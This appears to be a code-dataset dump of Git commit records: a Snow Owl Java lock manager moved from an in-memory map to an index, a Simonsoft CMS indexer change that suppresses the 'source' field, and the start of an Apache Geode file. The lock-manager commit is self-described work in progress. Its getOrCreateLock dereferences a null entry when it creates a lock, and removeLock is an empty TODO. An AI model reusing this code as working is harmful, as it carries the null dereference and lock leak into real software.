protected static final String ACQUIRE_FAILED_MESSAGE = "Could not acquire requested lock(s).";
private static final String RELEASE_FAILED_MESSAGE = "Could not release requested lock(s).";
private static final String LOCK_EXISTS_BUT_NOT_HELD_MESSAGE = "Lock for target {0} exists, but no lock is held.";
private static final int EXPECTED_LOCKS = 128;
private final Object syncObject = new Object();
private final ListenerList listenerList = new ListenerList();
private final BitSet assignedIds = new BitSet(EXPECTED_LOCKS);
private int lastAssignedId = 0;
@Override
public void lock(final C context, final long timeoutMillis, final IOperationLockTarget firstTarget, final IOperationLockTarget... restTargets) throws OperationLockException, InterruptedException {
lock(context, timeoutMillis, Lists.asList(firstTarget, restTargets));
}
@Override
public void lock(final C context, final long timeoutMillis, final Iterable<? extends IOperationLockTarget> targets) throws OperationLockException, InterruptedException {
final Map<IOperationLockTarget, C> alreadyLockedTargets = Maps.newHashMap();
final long startTimeMillis = getCurrentTimeMillis();
synchronized (syncObject) {
while (true) {
alreadyLockedTargets.clear();
canContextLockTargets(context, targets, alreadyLockedTargets);
if (alreadyLockedTargets.isEmpty()) {
for (final IOperationLockTarget newTarget : targets) {
final IOperationLock<C> existingLock = getOrCreateLock(newTarget);
existingLock.acquire(context);
fireTargetAcquired(existingLock.getTarget(), context);
}
syncObject.notifyAll();
return;
}
if (NO_TIMEOUT == timeoutMillis) {
syncObject.wait();
} else {
final long remainingTimeoutMillis = timeoutMillis - (getCurrentTimeMillis() - startTimeMillis);
if (remainingTimeoutMillis < 1L) {
throwLockException(ACQUIRE_FAILED_MESSAGE, alreadyLockedTargets);
} else {
syncObject.wait(remainingTimeoutMillis);
}
}
}
}
}
@Override
public void unlock(final C context, final IOperationLockTarget firstTarget, final IOperationLockTarget... restTargets) throws OperationLockException {
unlock(context, Lists.asList(firstTarget, restTargets));
}
@Override
public void unlock(final C context, final Iterable<? extends IOperationLockTarget> targets) throws OperationLockException {
final Map<IOperationLockTarget, C> notUnlockedTargets = Maps.newHashMap();
synchronized (syncObject) {
for (final IOperationLockTarget targetToUnlock : targets) {
for (final IOperationLock<C> existingLock : getExistingLocks()) {
if (existingLock.targetEquals(targetToUnlock) && !canContextUnlock(context, existingLock)) {
notUnlockedTargets.put(existingLock.getTarget(), existingLock.getContext());
}
}
}
if (!notUnlockedTargets.isEmpty()) {
throwLockException(RELEASE_FAILED_MESSAGE, notUnlockedTargets);
}
for (final IOperationLockTarget targetToUnlock : targets) {
final IOperationLock<C> existingLock = getOrCreateLock(targetToUnlock);
try {
existingLock.release(context);
fireTargetReleased(existingLock.getTarget(), context);
} finally {
if (!existingLock.isLocked()) {
removeLock(existingLock);
}
}
}
syncObject.notifyAll();
}
}
/**
* (non-API)
* <p>
* Releases all lock targets tracked by this lock manager.
*/
public void unlockAll() {
synchronized (syncObject) {
for (IOperationLock<C> lockToRemove : getExistingLocks()) {
if (!lockToRemove.isLocked()) {
throw new IllegalStateException(MessageFormat.format(LOCK_EXISTS_BUT_NOT_HELD_MESSAGE, lockToRemove.getTarget()));
} else {
removeLock(lockToRemove);
}
}
syncObject.notifyAll();
}
}
/**
* (non-API)
* <p>
* Forces lock removal for the target with the specified identifier.
*
* @param id the lock identifier to forcefully unlock
* @return
*/
public boolean unlockById(final int id) {
synchronized (syncObject) {
for (IOperationLock<C> lockToRemove : getExistingLocks()) {
if (!lockToRemove.isLocked()) {
throw new IllegalStateException(MessageFormat.format(LOCK_EXISTS_BUT_NOT_HELD_MESSAGE, lockToRemove.getTarget()));
}
if (id == lockToRemove.getId()) {
removeLock(lockToRemove);
syncObject.notifyAll();
return true;
}
}
}
return false;
}
/**
* (non-API)
* <p>
* Collects a snapshot of currently granted locks.
* <p>
* @return a list of granted locks information objects, sorted by lock identifer (never {@code null})
*/
public List<OperationLockInfo<C>> getLocks() {
final List<OperationLockInfo<C>> result = Lists.newArrayList();
synchronized (syncObject) {
for (final IOperationLock<C> existingLock : getExistingLocks()) {
result.add(createLockInfo(existingLock));
}
}
Collections.sort(result);
return result;
}
public void addLockTargetListener(final IOperationLockTargetListener<C> listener) {
listenerList.add(listener);
}
public void removeLockTargetListener(final IOperationLockTargetListener<C> listener) {
listenerList.remove(listener);
}
protected void throwLockException(final String message, final Map<IOperationLockTarget, C> targets) throws OperationLockException {
throw new OperationLockException(message);
}
protected abstract IOperationLock<C> createLock(final int id, final IOperationLockTarget target);
protected abstract OperationLockInfo<C> createLockInfo(final IOperationLock<C> existingLock);
@OverridingMethodsMustInvokeSuper
protected void canContextLockTargets(final C context, final Iterable<? extends IOperationLockTarget> targets, final Map<IOperationLockTarget, C> alreadyLockedTargets)
throws DatastoreOperationLockException {
for (final IOperationLockTarget newTarget : targets) {
for (final IOperationLock<C> existingLock : getExistingLocks()) {
if (existingLock.targetConflicts(newTarget) && !canContextLock(context, existingLock)) {
alreadyLockedTargets.put(newTarget, existingLock.getContext());
}
}
}
}
protected abstract boolean canContextLock(final C context, final IOperationLock<C> existingLock);
protected boolean canContextUnlock(final C context, final IOperationLock<C> existingLock) {
return canContextLock(context, existingLock);
}
protected void clearListeners() {
listenerList.clear();
}
private long getCurrentTimeMillis() {
return System.nanoTime() / (1000L * 1000L);
}
private IOperationLock<C> getOrCreateLock(final IOperationLockTarget target) {
final DatastoreLockEntry existingLockEntry = Iterables.getOnlyElement(getLockIndex().search(DatastoreLockEntry.Expressions.lockTarget(target), 1), null);
if (existingLockEntry == null) {
lastAssignedId = assignedIds.nextClearBit(lastAssignedId);
final String lockId = Integer.toString(lastAssignedId);
final IOperationLock<C> newLock = createLock(lastAssignedId, target);
final DatastoreLockEntry newEntry = buildIndexEntry(lockId, newLock, target);
getLockIndex().put(lockId, newEntry);
assignedIds.set(lastAssignedId);
/*
* XXX (apeteri): this makes the lock manager revisit low IDs after every 128 issued locks, but
* it can still assign a number over 128 if all of the early ones are in use, since the BitSet grows unbounded.
*/
lastAssignedId = lastAssignedId % EXPECTED_LOCKS;
}
return existingLockEntry.getLock();
}
private DatastoreLockEntry buildIndexEntry(final String lockId, IOperationLock<C> lock, final IOperationLockTarget target) {
final DatastoreLockEntry entry = DatastoreLockEntry.builder()
.id(lockId)
.lock(lock)
.lockTarget(target)
.build();
return entry;
}
private void removeLock(final IOperationLock<C> existingLock) {
// TODO: remove from index
}
@SuppressWarnings("unchecked")
private void fireTargetAcquired(final IOperationLockTarget target, final C context) {
for (final Object listener : listenerList.getListeners()) {
((IOperationLockTargetListener<C>) listener).targetAcquired(target, context);
}
}
@SuppressWarnings("unchecked")
private void fireTargetReleased(final IOperationLockTarget target, final C context) {
for (final Object listener : listenerList.getListeners()) {
((IOperationLockTargetListener<C>) listener).targetReleased(target, context);
}
}
private Collection<IOperationLock<C>> getExistingLocks() {
return getLockIndex().search(null, Integer.MAX_VALUE).stream().map(DatastoreLockEntry::getLock).collect(Collectors.toList());
}
private DatastoreLockIndex getLockIndex() {
return ApplicationContext.getServiceForClass(DatastoreLockIndex.class);
}
} | core/com.b2international.snowowl.datastore/src/com/b2international/snowowl/datastore/oplock/AbstractOperationLockManager.java | /*
* Copyright 2011-2015 B2i Healthcare Pte Ltd, http://b2i.sg
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.b2international.snowowl.datastore.oplock;
import java.io.Serializable;
import java.text.MessageFormat;
import java.util.BitSet;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import javax.annotation.OverridingMethodsMustInvokeSuper;
import org.eclipse.core.runtime.ListenerList;
import com.b2international.snowowl.datastore.oplock.impl.DatastoreOperationLockException;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
/**
* An abstract superclass of {@link IOperationLockManager} providing common methods.
*
*/
public abstract class AbstractOperationLockManager<C extends Serializable> implements IOperationLockManager<C> {
protected static final String ACQUIRE_FAILED_MESSAGE = "Could not acquire requested lock(s).";
private static final String RELEASE_FAILED_MESSAGE = "Could not release requested lock(s).";
private static final String LOCK_EXISTS_BUT_NOT_HELD_MESSAGE = "Lock for target {0} exists, but no lock is held.";
private static final int EXPECTED_LOCKS = 128;
private final Object syncObject = new Object();
private final Map<IOperationLockTarget, IOperationLock<C>> grantedLocks = Maps.newHashMap();
private final ListenerList listenerList = new ListenerList();
private final BitSet assignedIds = new BitSet(EXPECTED_LOCKS);
private int lastAssignedId = 0;
@Override
public void lock(final C context, final long timeoutMillis, final IOperationLockTarget firstTarget, final IOperationLockTarget... restTargets) throws OperationLockException, InterruptedException {
lock(context, timeoutMillis, Lists.asList(firstTarget, restTargets));
}
@Override
public void lock(final C context, final long timeoutMillis, final Iterable<? extends IOperationLockTarget> targets) throws OperationLockException, InterruptedException {
final Map<IOperationLockTarget, C> alreadyLockedTargets = Maps.newHashMap();
final long startTimeMillis = getCurrentTimeMillis();
synchronized (syncObject) {
while (true) {
alreadyLockedTargets.clear();
canContextLockTargets(context, targets, alreadyLockedTargets);
if (alreadyLockedTargets.isEmpty()) {
for (final IOperationLockTarget newTarget : targets) {
final IOperationLock<C> existingLock = getOrCreateLock(newTarget);
existingLock.acquire(context);
fireTargetAcquired(existingLock.getTarget(), context);
}
syncObject.notifyAll();
return;
}
if (NO_TIMEOUT == timeoutMillis) {
syncObject.wait();
} else {
final long remainingTimeoutMillis = timeoutMillis - (getCurrentTimeMillis() - startTimeMillis);
if (remainingTimeoutMillis < 1L) {
throwLockException(ACQUIRE_FAILED_MESSAGE, alreadyLockedTargets);
} else {
syncObject.wait(remainingTimeoutMillis);
}
}
}
}
}
@Override
public void unlock(final C context, final IOperationLockTarget firstTarget, final IOperationLockTarget... restTargets) throws OperationLockException {
unlock(context, Lists.asList(firstTarget, restTargets));
}
@Override
public void unlock(final C context, final Iterable<? extends IOperationLockTarget> targets) throws OperationLockException {
final Map<IOperationLockTarget, C> notUnlockedTargets = Maps.newHashMap();
synchronized (syncObject) {
for (final IOperationLockTarget targetToUnlock : targets) {
for (final IOperationLock<C> existingLock : getExistingLocks()) {
if (existingLock.targetEquals(targetToUnlock) && !canContextUnlock(context, existingLock)) {
notUnlockedTargets.put(existingLock.getTarget(), existingLock.getContext());
}
}
}
if (!notUnlockedTargets.isEmpty()) {
throwLockException(RELEASE_FAILED_MESSAGE, notUnlockedTargets);
}
for (final IOperationLockTarget targetToUnlock : targets) {
final IOperationLock<C> existingLock = getOrCreateLock(targetToUnlock);
try {
existingLock.release(context);
fireTargetReleased(existingLock.getTarget(), context);
} finally {
if (!existingLock.isLocked()) {
removeLock(existingLock);
}
}
}
syncObject.notifyAll();
}
}
/**
* (non-API)
* <p>
* Releases all lock targets tracked by this lock manager.
*/
public void unlockAll() {
synchronized (syncObject) {
for (IOperationLock<C> lockToRemove : getAllGrantedLocks()) {
if (!lockToRemove.isLocked()) {
throw new IllegalStateException(MessageFormat.format(LOCK_EXISTS_BUT_NOT_HELD_MESSAGE, lockToRemove.getTarget()));
} else {
removeLock(lockToRemove);
}
}
syncObject.notifyAll();
}
}
/**
* (non-API)
* <p>
* Forces lock removal for the target with the specified identifier.
*
* @param id the lock identifier to forcefully unlock
* @return
*/
public boolean unlockById(final int id) {
synchronized (syncObject) {
for (IOperationLock<C> lockToRemove : getAllGrantedLocks()) {
if (!lockToRemove.isLocked()) {
throw new IllegalStateException(MessageFormat.format(LOCK_EXISTS_BUT_NOT_HELD_MESSAGE, lockToRemove.getTarget()));
}
if (id == lockToRemove.getId()) {
removeLock(lockToRemove);
syncObject.notifyAll();
return true;
}
}
}
return false;
}
private ImmutableList<IOperationLock<C>> getAllGrantedLocks() {
return ImmutableList.copyOf(grantedLocks.values());
}
/**
* (non-API)
* <p>
* Collects a snapshot of currently granted locks.
* <p>
* @return a list of granted locks information objects, sorted by lock identifer (never {@code null})
*/
public List<OperationLockInfo<C>> getLocks() {
final List<OperationLockInfo<C>> result = Lists.newArrayList();
synchronized (syncObject) {
for (final IOperationLock<C> existingLock : getExistingLocks()) {
result.add(createLockInfo(existingLock));
}
}
Collections.sort(result);
return result;
}
public void addLockTargetListener(final IOperationLockTargetListener<C> listener) {
listenerList.add(listener);
}
public void removeLockTargetListener(final IOperationLockTargetListener<C> listener) {
listenerList.remove(listener);
}
protected void throwLockException(final String message, final Map<IOperationLockTarget, C> targets) throws OperationLockException {
throw new OperationLockException(message);
}
protected abstract IOperationLock<C> createLock(final int id, final IOperationLockTarget target);
protected abstract OperationLockInfo<C> createLockInfo(final IOperationLock<C> existingLock);
@OverridingMethodsMustInvokeSuper
protected void canContextLockTargets(final C context, final Iterable<? extends IOperationLockTarget> targets, final Map<IOperationLockTarget, C> alreadyLockedTargets)
throws DatastoreOperationLockException {
for (final IOperationLockTarget newTarget : targets) {
for (final IOperationLock<C> existingLock : getExistingLocks()) {
if (existingLock.targetConflicts(newTarget) && !canContextLock(context, existingLock)) {
alreadyLockedTargets.put(newTarget, existingLock.getContext());
}
}
}
}
protected abstract boolean canContextLock(final C context, final IOperationLock<C> existingLock);
protected boolean canContextUnlock(final C context, final IOperationLock<C> existingLock) {
return canContextLock(context, existingLock);
}
protected void clearListeners() {
listenerList.clear();
}
private long getCurrentTimeMillis() {
return System.nanoTime() / (1000L * 1000L);
}
private IOperationLock<C> getOrCreateLock(final IOperationLockTarget target) {
IOperationLock<C> existingLock = grantedLocks.get(target);
if (null == existingLock) {
lastAssignedId = assignedIds.nextClearBit(lastAssignedId);
existingLock = createLock(lastAssignedId, target);
assignedIds.set(lastAssignedId);
/*
* XXX (apeteri): this makes the lock manager revisit low IDs after every 128 issued locks, but
* it can still assign a number over 128 if all of the early ones are in use, since the BitSet grows unbounded.
*/
lastAssignedId = lastAssignedId % EXPECTED_LOCKS;
}
grantedLocks.put(target, existingLock);
return existingLock;
}
private void removeLock(final IOperationLock<C> existingLock) {
if (grantedLocks.values().remove(existingLock)) {
assignedIds.clear(existingLock.getId());
for (final C context : existingLock.getAllContexts()) {
fireTargetReleased(existingLock.getTarget(), context);
}
}
}
@SuppressWarnings("unchecked")
private void fireTargetAcquired(final IOperationLockTarget target, final C context) {
for (final Object listener : listenerList.getListeners()) {
((IOperationLockTargetListener<C>) listener).targetAcquired(target, context);
}
}
@SuppressWarnings("unchecked")
private void fireTargetReleased(final IOperationLockTarget target, final C context) {
for (final Object listener : listenerList.getListeners()) {
((IOperationLockTargetListener<C>) listener).targetReleased(target, context);
}
}
private Collection<IOperationLock<C>> getExistingLocks() {
return grantedLocks.values();
}
} | SO-3713: Commit progress on removing in memory repository lock handling | core/com.b2international.snowowl.datastore/src/com/b2international/snowowl/datastore/oplock/AbstractOperationLockManager.java | SO-3713: Commit progress on removing in memory repository lock handling | <ide><path>ore/com.b2international.snowowl.datastore/src/com/b2international/snowowl/datastore/oplock/AbstractOperationLockManager.java
<ide> /*
<del> * Copyright 2011-2015 B2i Healthcare Pte Ltd, http://b2i.sg
<add> * Copyright 2011-2019 B2i Healthcare Pte Ltd, http://b2i.sg
<ide> *
<ide> * Licensed under the Apache License, Version 2.0 (the "License");
<ide> * you may not use this file except in compliance with the License.
<ide> import java.util.Collections;
<ide> import java.util.List;
<ide> import java.util.Map;
<add>import java.util.stream.Collectors;
<ide>
<ide> import javax.annotation.OverridingMethodsMustInvokeSuper;
<ide>
<ide> import org.eclipse.core.runtime.ListenerList;
<ide>
<add>import com.b2international.snowowl.core.ApplicationContext;
<add>import com.b2international.snowowl.datastore.oplock.impl.AbstractDatastoreLockTarget;
<ide> import com.b2international.snowowl.datastore.oplock.impl.DatastoreOperationLockException;
<ide> import com.google.common.collect.ImmutableList;
<add>import com.google.common.collect.Iterables;
<ide> import com.google.common.collect.Lists;
<ide> import com.google.common.collect.Maps;
<ide>
<ide> private static final int EXPECTED_LOCKS = 128;
<ide>
<ide> private final Object syncObject = new Object();
<del>
<del> private final Map<IOperationLockTarget, IOperationLock<C>> grantedLocks = Maps.newHashMap();
<ide>
<ide> private final ListenerList listenerList = new ListenerList();
<ide>
<ide>
<ide> synchronized (syncObject) {
<ide>
<del> for (IOperationLock<C> lockToRemove : getAllGrantedLocks()) {
<add> for (IOperationLock<C> lockToRemove : getExistingLocks()) {
<ide>
<ide> if (!lockToRemove.isLocked()) {
<ide> throw new IllegalStateException(MessageFormat.format(LOCK_EXISTS_BUT_NOT_HELD_MESSAGE, lockToRemove.getTarget()));
<ide>
<ide> synchronized (syncObject) {
<ide>
<del> for (IOperationLock<C> lockToRemove : getAllGrantedLocks()) {
<add> for (IOperationLock<C> lockToRemove : getExistingLocks()) {
<ide>
<ide> if (!lockToRemove.isLocked()) {
<ide> throw new IllegalStateException(MessageFormat.format(LOCK_EXISTS_BUT_NOT_HELD_MESSAGE, lockToRemove.getTarget()));
<ide> }
<ide>
<ide> return false;
<del> }
<del>
<del> private ImmutableList<IOperationLock<C>> getAllGrantedLocks() {
<del> return ImmutableList.copyOf(grantedLocks.values());
<ide> }
<ide>
<ide> /**
<ide> }
<ide>
<ide> private IOperationLock<C> getOrCreateLock(final IOperationLockTarget target) {
<del> IOperationLock<C> existingLock = grantedLocks.get(target);
<del>
<del> if (null == existingLock) {
<add> final DatastoreLockEntry existingLockEntry = Iterables.getOnlyElement(getLockIndex().search(DatastoreLockEntry.Expressions.lockTarget(target), 1), null);
<add>
<add> if (existingLockEntry == null) {
<ide> lastAssignedId = assignedIds.nextClearBit(lastAssignedId);
<del> existingLock = createLock(lastAssignedId, target);
<add> final String lockId = Integer.toString(lastAssignedId);
<add> final IOperationLock<C> newLock = createLock(lastAssignedId, target);
<add> final DatastoreLockEntry newEntry = buildIndexEntry(lockId, newLock, target);
<add> getLockIndex().put(lockId, newEntry);
<add>
<ide> assignedIds.set(lastAssignedId);
<del>
<ide> /*
<ide> * XXX (apeteri): this makes the lock manager revisit low IDs after every 128 issued locks, but
<ide> * it can still assign a number over 128 if all of the early ones are in use, since the BitSet grows unbounded.
<ide> */
<ide> lastAssignedId = lastAssignedId % EXPECTED_LOCKS;
<ide> }
<del>
<del> grantedLocks.put(target, existingLock);
<del> return existingLock;
<add>
<add> return existingLockEntry.getLock();
<add> }
<add>
<add> private DatastoreLockEntry buildIndexEntry(final String lockId, IOperationLock<C> lock, final IOperationLockTarget target) {
<add> final DatastoreLockEntry entry = DatastoreLockEntry.builder()
<add> .id(lockId)
<add> .lock(lock)
<add> .lockTarget(target)
<add> .build();
<add>
<add> return entry;
<ide> }
<ide>
<ide> private void removeLock(final IOperationLock<C> existingLock) {
<del> if (grantedLocks.values().remove(existingLock)) {
<del> assignedIds.clear(existingLock.getId());
<del> for (final C context : existingLock.getAllContexts()) {
<del> fireTargetReleased(existingLock.getTarget(), context);
<del> }
<del> }
<add> // TODO: remove from index
<ide> }
<ide>
<ide> @SuppressWarnings("unchecked")
<ide> }
<ide>
<ide> private Collection<IOperationLock<C>> getExistingLocks() {
<del> return grantedLocks.values();
<add> return getLockIndex().search(null, Integer.MAX_VALUE).stream().map(DatastoreLockEntry::getLock).collect(Collectors.toList());
<add> }
<add>
<add> private DatastoreLockIndex getLockIndex() {
<add> return ApplicationContext.getServiceForClass(DatastoreLockIndex.class);
<ide> }
<ide> } |
|
Java | apache-2.0 | 2cdbee888a375beda5963d2d0b3fc421042477ac | 0 | simonsoft/cms-indexing-xml | /**
* Copyright (C) 2009-2013 Simonsoft Nordic AB
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package se.simonsoft.cms.indexing.xml.fields;
import java.io.IOException;
import java.io.Reader;
import java.util.Collection;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import se.repos.indexing.IndexingDoc;
import se.simonsoft.cms.indexing.xml.XmlIndexElementId;
import se.simonsoft.cms.indexing.xml.XmlIndexFieldExtraction;
import se.simonsoft.cms.xmlsource.handler.XmlNotWellFormedException;
import se.simonsoft.cms.xmlsource.handler.XmlSourceElement;
public class XmlIndexFieldExtractionSource implements XmlIndexFieldExtraction {
private static final Logger logger = LoggerFactory.getLogger(XmlIndexFieldExtractionSource.class);
/**
* This is a hack to remove Abx Change Tracking namespace from source.
* Finalize Release aborts if there is CT in the document, so there should be none in Translations.
*/
private static final boolean REMOVE_ABXCT_NAMESPACE = true;
private Integer MAX_CHARACTERS_SOURCE = 0; // null means 'always extract source'
public void endDocument() {
}
@Override
public void begin(XmlSourceElement element, XmlIndexElementId idProvider) throws XmlNotWellFormedException {
}
@Override
public void end(XmlSourceElement element, XmlIndexElementId idProvider, IndexingDoc doc) {
Integer depth = (Integer) doc.getFieldValue("depth");
if (depth == null || depth < 1) {
throw new IllegalStateException("The 'depth' must be extracted before 'source'");
}
String sourceReuse = (String) doc.getFieldValue("source_reuse");
if (sourceReuse == null || sourceReuse.isEmpty()) {
// No source_reuse, then we suppress source as well.
return;
}
// If source_reuse is large, we avoid getting source completely.
if (MAX_CHARACTERS_SOURCE != null && sourceReuse.length() > MAX_CHARACTERS_SOURCE) {
logger.debug("Suppressing 'source' and 'source_reuse' field ({}) from index for element: {}", sourceReuse.length(), element);
//doc.removeField("source_reuse");
// Suppress source by returning early.
return;
}
String source = getSource(element);
// No longer extracting source for the whole file unconditionally.
if (MAX_CHARACTERS_SOURCE != null && source.length() > MAX_CHARACTERS_SOURCE) {
logger.debug("Suppressing 'source' field ({}) from index for element: {}", source.length(), element);
return;
}
if (REMOVE_ABXCT_NAMESPACE) {
// Remove the Arbortext CT namespace in translations.
Collection<Object> patharea = doc.getFieldValues("patharea");
if (patharea != null && patharea.contains("translation")) {
logger.debug("Patharea translation: {}", patharea.contains("translation"));
source = source.replaceAll(" xmlns:atict=\"http://www.arbortext.com/namespace/atict\"", "");
}
}
String nsUnused = (String) doc.getFieldValue("ns_unused");
if (nsUnused != null && !nsUnused.isEmpty()) {
logger.debug("Unused Namespaces: {}", nsUnused);
//throw new RuntimeException(nsUnused);
}
doc.addField("source", source);
}
/**
* Source is currently stored in index but could be very large xml chunks.
* @param element
* @return
*/
private String getSource(XmlSourceElement element) {
Reader s = element.getSource();
StringBuffer b = new StringBuffer();
int c;
try {
while ((c = s.read()) > -1) {
b.append((char) c);
}
} catch (IOException e) {
throw new RuntimeException("Error reading XML source for indexing", e);
}
return b.toString();
}
}
| src/main/java/se/simonsoft/cms/indexing/xml/fields/XmlIndexFieldExtractionSource.java | /**
* Copyright (C) 2009-2013 Simonsoft Nordic AB
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package se.simonsoft.cms.indexing.xml.fields;
import java.io.IOException;
import java.io.Reader;
import java.util.Collection;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import se.repos.indexing.IndexingDoc;
import se.simonsoft.cms.indexing.xml.XmlIndexElementId;
import se.simonsoft.cms.indexing.xml.XmlIndexFieldExtraction;
import se.simonsoft.cms.xmlsource.handler.XmlNotWellFormedException;
import se.simonsoft.cms.xmlsource.handler.XmlSourceElement;
public class XmlIndexFieldExtractionSource implements XmlIndexFieldExtraction {
private static final Logger logger = LoggerFactory.getLogger(XmlIndexFieldExtractionSource.class);
/**
* This is a hack to remove Abx Change Tracking namespace from source.
* Finalize Release aborts if there is CT in the document, so there should be none in Translations.
*/
private static final boolean REMOVE_ABXCT_NAMESPACE = true;
private Integer MAX_CHARACTERS_SOURCE = 2000; // null means 'always extract source'
public void endDocument() {
}
@Override
public void begin(XmlSourceElement element, XmlIndexElementId idProvider) throws XmlNotWellFormedException {
}
@Override
public void end(XmlSourceElement element, XmlIndexElementId idProvider, IndexingDoc doc) {
Integer depth = (Integer) doc.getFieldValue("depth");
if (depth == null || depth < 1) {
throw new IllegalStateException("The 'depth' must be extracted before 'source'");
}
String sourceReuse = (String) doc.getFieldValue("source_reuse");
if (sourceReuse == null || sourceReuse.isEmpty()) {
// No source_reuse, then we suppress source as well.
return;
}
// If source_reuse is large, we avoid getting source completely.
if (MAX_CHARACTERS_SOURCE != null && sourceReuse.length() > MAX_CHARACTERS_SOURCE) {
logger.debug("Suppressing 'source' and 'source_reuse' field ({}) from index for element: {}", sourceReuse.length(), element);
//doc.removeField("source_reuse");
// Suppress source by returning early.
return;
}
String source = getSource(element);
// No longer extracting source for the whole file unconditionally.
if (MAX_CHARACTERS_SOURCE != null && source.length() > MAX_CHARACTERS_SOURCE) {
logger.debug("Suppressing 'source' field ({}) from index for element: {}", source.length(), element);
return;
}
if (REMOVE_ABXCT_NAMESPACE) {
// Remove the Arbortext CT namespace in translations.
Collection<Object> patharea = doc.getFieldValues("patharea");
if (patharea != null && patharea.contains("translation")) {
logger.debug("Patharea translation: {}", patharea.contains("translation"));
source = source.replaceAll(" xmlns:atict=\"http://www.arbortext.com/namespace/atict\"", "");
}
}
String nsUnused = (String) doc.getFieldValue("ns_unused");
if (nsUnused != null && !nsUnused.isEmpty()) {
logger.debug("Unused Namespaces: {}", nsUnused);
//throw new RuntimeException(nsUnused);
}
doc.addField("source", source);
}
/**
* Source is currently stored in index but could be very large xml chunks.
* @param element
* @return
*/
private String getSource(XmlSourceElement element) {
Reader s = element.getSource();
StringBuffer b = new StringBuffer();
int c;
try {
while ((c = s.read()) > -1) {
b.append((char) c);
}
} catch (IOException e) {
throw new RuntimeException("Error reading XML source for indexing", e);
}
return b.toString();
}
}
| #836 Always suppress 'source' field for now.
| src/main/java/se/simonsoft/cms/indexing/xml/fields/XmlIndexFieldExtractionSource.java | #836 Always suppress 'source' field for now. | <ide><path>rc/main/java/se/simonsoft/cms/indexing/xml/fields/XmlIndexFieldExtractionSource.java
<ide> */
<ide> private static final boolean REMOVE_ABXCT_NAMESPACE = true;
<ide>
<del> private Integer MAX_CHARACTERS_SOURCE = 2000; // null means 'always extract source'
<add> private Integer MAX_CHARACTERS_SOURCE = 0; // null means 'always extract source'
<ide>
<ide>
<ide> public void endDocument() { |
|
Java | apache-2.0 | bbac0860e1cb408b86a6d1dbf25b6b2092de39bf | 0 | davinash/geode,PurelyApplied/geode,davinash/geode,jdeppe-pivotal/geode,PurelyApplied/geode,smgoller/geode,davinash/geode,jdeppe-pivotal/geode,davebarnes97/geode,smgoller/geode,davebarnes97/geode,jdeppe-pivotal/geode,PurelyApplied/geode,davebarnes97/geode,davebarnes97/geode,davebarnes97/geode,masaki-yamakawa/geode,masaki-yamakawa/geode,davebarnes97/geode,PurelyApplied/geode,davinash/geode,jdeppe-pivotal/geode,smgoller/geode,PurelyApplied/geode,davebarnes97/geode,masaki-yamakawa/geode,davinash/geode,davinash/geode,masaki-yamakawa/geode,smgoller/geode,PurelyApplied/geode,PurelyApplied/geode,masaki-yamakawa/geode,smgoller/geode,davinash/geode,jdeppe-pivotal/geode,smgoller/geode,smgoller/geode,masaki-yamakawa/geode,jdeppe-pivotal/geode,jdeppe-pivotal/geode,masaki-yamakawa/geode | /*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.cache.client.internal;
import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.logging.log4j.Logger;
import org.apache.geode.ToDataException;
import org.apache.geode.annotations.Immutable;
import org.apache.geode.cache.client.NoAvailableLocatorsException;
import org.apache.geode.cache.client.internal.PoolImpl.PoolTask;
import org.apache.geode.cache.client.internal.locator.ClientConnectionRequest;
import org.apache.geode.cache.client.internal.locator.ClientConnectionResponse;
import org.apache.geode.cache.client.internal.locator.ClientReplacementRequest;
import org.apache.geode.cache.client.internal.locator.GetAllServersRequest;
import org.apache.geode.cache.client.internal.locator.GetAllServersResponse;
import org.apache.geode.cache.client.internal.locator.LocatorListRequest;
import org.apache.geode.cache.client.internal.locator.LocatorListResponse;
import org.apache.geode.cache.client.internal.locator.QueueConnectionRequest;
import org.apache.geode.cache.client.internal.locator.QueueConnectionResponse;
import org.apache.geode.cache.client.internal.locator.ServerLocationRequest;
import org.apache.geode.cache.client.internal.locator.ServerLocationResponse;
import org.apache.geode.distributed.internal.DistributionConfig;
import org.apache.geode.distributed.internal.ServerLocation;
import org.apache.geode.distributed.internal.membership.gms.membership.HostAddress;
import org.apache.geode.distributed.internal.tcpserver.TcpClient;
import org.apache.geode.internal.cache.tier.sockets.ClientProxyMembershipID;
